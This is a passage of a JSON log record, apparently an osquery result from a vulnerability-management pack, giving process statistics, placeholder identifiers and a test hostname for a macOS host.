    "build_distro": "10.14.2",
    "build_platform": "darwin",
    "config_hash": "1111",
    "config_valid": "1",
    "counter": "14",
    "extensions": "active",
    "global_state": "0",
    "instance_id": "1111",
    "pid": "223",
    "platform": "darwin",
    "resident_size": "54894592",
    "start_time": "1536634519",
    "system_time": "12472",
    "user_time": "31800",
    "uuid": "37821E12-CC8A-5AA3-A90C-FAB28A5BF8F9",
    "version": "Not Supported",
    "watcher": "92"
  },
  "counter": "255",
  "decorations": {
    "environment": "corp",
    "host_uuid": "1111"
  },
  "epoch": "0",
  "hostIdentifier": "test.lan",
  "log_type": "result",
  "name": "pack_vuln-management_os_version",
  "unixTime": "1536682461"
}